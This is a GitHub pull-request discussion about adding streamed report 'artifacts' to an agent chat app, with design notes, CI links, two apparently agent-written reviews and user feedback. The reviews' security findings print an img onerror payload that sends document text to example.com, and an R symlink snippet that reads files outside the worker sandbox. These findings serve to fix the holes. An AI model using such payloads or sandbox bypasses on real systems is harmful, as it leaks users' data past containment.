Add artifacts

[simonpcouch]

Closes #71.

My goal here was:

1. Feels as much as possible like a "normal" artifacts pane in claude.ai or chatgpt.com as possible
2. ...but is backed by Quarto

reports.mov

It also felt important to me that the artifact streamed in. (Notably, this is not how artifacts work on claude.ai anymore, surprisingly. Will have to think about why.) In addition, I wanted computations to happen eagerly—e.g. when the agent completes an inline r or a code cell, it begins evaluating then rather than when the whole report is done streaming in. This means that we're not actually using Quarto here, instead using a hand-rolled knitr worker. (More context on that at the top of artifact-knit.R.)

The agent can edit the report after, a la Canvas.

Tried to make the abstractions usable on the Python side, but does not implement in Python.

Deferring Quarto dashboards / Shiny apps, deferring "Share to Connect".

[github-actions]

Preview deployed to Connect (dogfood.team.pct.posit.it): https://dogfood.team.pct.posit.it/connect/#/apps/d7a36cae-8f27-448b-a478-61b81fbe3942/draft/378031

Deployed from commit b3e2414.

[github-actions]

Preview root: https://posit-dev.github.io/commons/pr-404/

Python site preview: https://posit-dev.github.io/commons/pr-404/py/

Built from the latest commit on this branch. The R links in it point at the published R site, which no pull request rebuilds.

[github-actions]

Preview deployed to Connect (connect.staging.pct.posit.it): https://connect.staging.pct.posit.it/connect/#/apps/ad662e1b-5048-4acc-9ad7-f9478c92274e/draft/3419

Deployed from commit b3e2414.

[simonpcouch]

This really should be a skill. We should refactor. The trust system tool into a skill and then support a few built-in skills, starting with that one and this "artifact" one.

[simonpcouch]

The tricky part is that this would also require (?) deferred tool loading... for. theedit_artifact() tool.

Here's one description og how that could possibly work:

Reading through this, I'm wondering whether the execute-style approach is how we ought to go. i.e.

• MCP tools and any built-in tools we flag (currently, the notebook tools) are not part of the normal tool list, and live behind a meta-tool execute
• The names and description snippets for each of the tools gated behind the meta-tool are provided in the system prompt
• When the model is interested in calling one of them, it calls loadTool to load the full description and parameter description of the tool, then invokes it via execute
• The "normal" tool UI for those tools can be "lifted" into the tool UI for execute

There are many judgments to be made here, though, and I feel on-the-fence for many of them.

[simonpcouch]

Review from Claude Opus 5.5

Agent-written review (assistant-review skill)

Review: PR #404 — Add artifacts | branch quarto-artifacts

Summary

Adds streamed Quarto-style documents. A <commons-artifact> tag is pulled out of the chat stream and its cells are knitted one at a time in a sandboxed worker. commons$measure(), commons$metrics(), and commons$calculation() calls are resolved on the host and replaced with reads of CSV files. edit_artifact revises a document. Reviewed against origin/main (merge base c1f9c25e). The design holds together well. Moving from quarto render to per-cell knitting is well argued, and the literal-only trusted-call parsing is a tidy way to keep the host from running document code. The main gaps are in failure handling and in what the document view can reach. I read the CSS and the shared JSON fixtures only as far as the tests use them.

Findings

• important (correctness): pkg-r/R/artifact-knit.R:164: once one cell times out or crashes the worker, every later cell in the document breaks.

  When a call times out, worker_await() kills the process and sets worker$rs <- NULL. run$worker is still non-NULL, so the next unit skips startup and calls worker$rs$call(...) on NULL. That error is thrown inside the then() callback in artifact_run_queue(), which rejects run$tail. Every unit chained after it is then skipped.

  Cell 2: infinite loop → timeout → worker killed, worker$rs = NULL
  Cell 3: worker$rs$call(...) → "attempt to apply non-function" → run$tail rejects
  Cells 4..n: never run; they stay at "Running…" until finish
  

  artifact_run_finish() then reports a single error, attempt to apply non-function, which gives the model nothing useful to fix. Suggested fix: when a unit fails with res$failure, set run$worker <- NULL so the next unit starts and initializes a fresh worker. Also catch errors per unit in artifact_run_queue(), so one unit's failure becomes that unit's error and the rest of the chain keeps going. A test with options(commons.run_r_timeout = 1) and a Sys.sleep() cell would cover this.

• important (security): www/commons-chat/commons-artifact.js:95: the document frame has no Content-Security-Policy, so model-written HTML can send document data to any server.

  The frame is sandbox="allow-scripts", and its pieces come from model-written Markdown run through commonmark, which passes raw HTML through. Setting innerHTML doesn't run <script> tags, but it does run inline handlers. For example, <img src=x onerror="fetch('https://example.com/?d='+document.body.innerText)">, or just a plain <img src="https://example.com/?d=..."> with trusted values filled in by inline R. The worker runs with network = "none" to block exactly this kind of exfiltration, and the browser view brings it back. Suggested fix: add a CSP <meta> to frameSource that allows only the stylesheet's origin, data: images, and the frame's own inline script, e.g. default-src 'none'; style-src <assetRoot origin>; img-src data:; script-src 'unsafe-inline'. The standalone report.html that artifact_document_html() writes has the same exposure if a user opens it.

• important (correctness): pkg-r/R/artifact-calls.R:261: in a document, a trusted result doesn't have the column names or types the model saw from the tool.

  The model is told to "run the calculations with tools first, so you know what they return". The document, though, reads the result back with a bare read.csv(), which changes it:

  • Date and datetime columns come back as character, so ggplot(aes(month, revenue)) gives a discrete axis and date arithmetic fails.
  • Column names that aren't syntactic are rewritten by check.names, e.g. net revenue becomes net.revenue, so code written against the tool's names fails.
  • Codes like "001" become integers.

  The model writes code against the shape it saw, and the cell fails or quietly plots the wrong thing. Suggested fix: record each column's class in the manifest and emit read.csv("data/x.csv", check.names = FALSE, colClasses = c(...)) from trusted_call_read(). The saved directory stays plain R with no new dependency.

• minor (correctness): pkg-r/R/commons.R:347: $chat() saves only the documents in last_turn(), while the streaming path scans all assistant text. A document written before a tool call in the same $chat() call is never saved. The two paths would agree if save_turn_artifacts() scanned every assistant turn added since the call started.

• minor (simplification): pkg-r/R/artifact-calls.R:286: rewrite_artifact_body() re-segments and re-parses the whole body at save time to rebuild replacements that artifact_run_prepare() already computed for each unit. If artifact_run_prepare() stored its replacements on run, the saved body could be rewrite_trusted_text(body, run$replacements). That deletes the second parse and the tryCatch() that swallows its errors, and the saved file can no longer drift from what ran.

• minor (scope): pkg-r/src/sandbox.c:913 and pkg-r/inst/app.R:100: two changes that aren't about artifacts any more. The macOS (literal "/") read grant was added so Quarto could start subprocesses, and knitting in-process doesn't need it. It does bring macOS in line with Linux, where exec is already allowed, so it may be worth keeping, but it would be easier to judge as its own PR. The demo app's switch to model = "claude-opus-5" also looks unrelated.

No other issues found on the test axis. The shared fixtures cover parsing, validation, and normalization, and the live tests cover streaming, reuse, errors, and the sandbox. The one gap is the worker-failure path above.

[simonpcouch]

Review from GPT-6.1 Sol

Agent-written review

Reviewed 6dbcb6e. Three findings:

1. [P1] Figure embedding bypasses the sandbox. embed_figures() runs readBin(path, "raw", file.size(path)) on the host using paths returned by the worker. A cell can create a symlink under figs/ to a file the sandbox blocks, then emit that path as Markdown:

   p <- file.path(as.environment("commons:knit")$figs, "probe.png")
   file.symlink("/path/outside/sandbox", p)
   cat(paste0("![](", p, ")"))

   I reproduced this with a harmless file in the home directory: its contents appeared base64-encoded in the report. Read and encode figure bytes inside the sandboxed worker instead of opening worker-supplied paths on the host.

2. [P2] The first $chat() call skips saving documents. With an empty conversation, n_turns is zero, so self$get_turns()[-seq_len(n_turns)] selects an empty list. save_turn_artifacts() receives no turns, and the first report is never saved or knitted. Handle zero explicitly or select turns starting at n_turns + 1L.

3. [P2] Clearing the conversation leaves committed renders running. The close handler removes the run from store$streams before rendering finishes, while artifact_store_reset() cancels only runs still in that environment. I reproduced clearing a report with a sleeping cell, then creating a new report with the same id: the old render's late pieces message overwrote the new document in the drawer. Track runs until they settle and suppress callbacks from a cleared conversation.

[skaltman]

This is minor, but I kept running into situations were the model does not write any YAML frontmatter, and so the artifact render fails.

Maybe it would help to strengthen the wording here or include an example of what an example <artifact> should look like.

[skaltman]

Looks great, this is basically how I envisioned artifacts working! I think the trusted code results -> CSV approach for reproducibility is probably good at this stage (maybe in the future commons layers will be more portable).

Some thoughts:

• I think it should readily make an artifact with a plot or table and no additional prose, in addition to reports. Based on my experience with Canvas, this is partially what I expected of an artifact, but when I asked it to include just a plot, it defaulted to also adding a bunch of report prose. This seems like something that could just be addressed in the skill body.
  • I also think it would be good if these "just plots" or "just tables" looked really nice to avoid people screenshotting pieces of reports or copying and pasting data from reports, and subsequently losing all the reproducibility information. I'm envisioning, for example, someone screenshotting a plot and then sending it in Slack, versus just sending the artifact containing the plot once sharing is implemented.
• I have since waffled on this, but my initial reaction was that streaming did not feel very important from a user experience perspective. I could definitely see it being important if the report is long or the code takes a while to run.
  • I experimented a bit with Claude artifacts, and it doesn't bother me at all that they don't stream. That said, I didn't try them on any real data. Waiting for Claude to finish felt fine for a non-developer-focused experience. Streaming seems more important for a developer experience.
  • Streaming also pulls your attention toward the artifact, and maybe that isn't where it should be. I could see this changing if you are working with the agent to make something like a dashboard, but then it starts to feel like commons is veering into Canvas or coding agent territory.
  • I think the main question for me is whether the user experience benefit from streaming is worth the additional implementation complexity.
• I'm wondering if naming it something like "snapshot" instead of "artifact" would get the mental model across better about what is happening. Although "artifact" does seem like just what this kind of feature is called now.
• One security/data governance thought is that because the results of trusted code are exported as CSV files, they won't automatically inherit the database permissions. You could already "share" results from commons agents by screenshotting, but artifacts will make it much easier for data to reach people who potentially should not have access to it. I don't know if this is necessarily a problem, but it should at least be documented for people setting up the trusted code layer so they know that the results of trusted code can be exported as CSVs.
• I do think people will want to make artifacts using the results of model-written code applied directly to a data source and not only to the results of trusted code.

Some issues I ran into:

• Artifacts would sometimes open, then immediately close, and I could not reopen them. I did not investigate this further :)
• When I returned to saved conversations, the artifacts were sometimes displayed as raw <artifact> text in the chat rather than as rendered artifacts.
• Some artifacts had code dropdowns and others did not. It looks like the model sometimes added echo: false even though the skill says readers will see folded code. Having folded code seems like a good default.
• I kept having plot rendering issues, like this:

Details

• The agent thinks that it can export data directly as a CSV, but either just puts the data in a markdown table or creates a report titled "CSV" with the data in a code chunk 😆

Details